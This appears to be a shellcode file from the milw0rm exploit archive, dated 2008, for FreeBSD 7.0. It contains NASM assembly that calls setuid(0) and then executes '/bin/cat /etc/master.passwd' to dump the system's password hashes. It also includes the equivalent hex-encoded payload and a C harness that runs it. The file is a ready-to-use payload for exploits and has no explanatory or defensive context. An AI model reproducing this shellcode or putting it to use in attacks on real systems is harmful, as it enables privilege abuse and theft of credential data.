70 lines
No EOL
1.2 KiB
NASM
70 lines
No EOL
1.2 KiB
NASM
; sm4x 2008
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; /bin/cat /etc/master.passwd
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; 65 bytes
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; FreeBSD 7.0-RELEASE
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global _start
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_start:
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xor eax, eax
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; --- setuid(0)
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push eax
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push eax
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mov al, 0x17
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int 0x80
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; --- setup /etc/master.passwd
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jmp short load_file
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ok:
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pop esi
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; setup /bin/cat
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push eax
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push 0x7461632f
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push 0x6e69622f
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mov ebx, esp
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; --- array setup
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push eax ; null
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push esi ; /etc/master.passwd
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push ebx ; /bin/cat
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mov edx, esp
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; -- execve()
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push eax ; 0
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push edx ; array { "/bin/cat", "/etc/master.passwd", 0}
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push ebx ; /bin/cat
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mov al, 0x3b
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push eax
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int 0x80
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; --- exit
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push eax
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push eax
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int 0x80
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load_file:
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call ok
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db '/etc/master.passwd'
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/*
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char code[] = "\x31\xc0\x50\x50\xb0\x17\xcd\x80\xeb\x1f"
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"\x5e\x50\x68\x2f\x63\x61\x74\x68\x2f\x62"
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"\x69\x6e\x89\xe3\x50\x56\x53\x89\xe2\x50"
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"\x52\x53\xb0\x3b\x50\xcd\x80\x50\x50\xcd"
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"\x80\xe8\xdc\xff\xff\xff\x2f\x65\x74\x63"
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"\x2f\x6d\x61\x73\x74\x65\x72\x2e\x70\x61"
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"\x73\x73\x77\x64";
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int main(int argc, char **argv) {
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int (*func)();
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printf("Bytes: %d\n", sizeof(code));
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func = (int (*)()) code;
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(int)(*func)();
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}
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*/
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; milw0rm.com [2008-08-25] |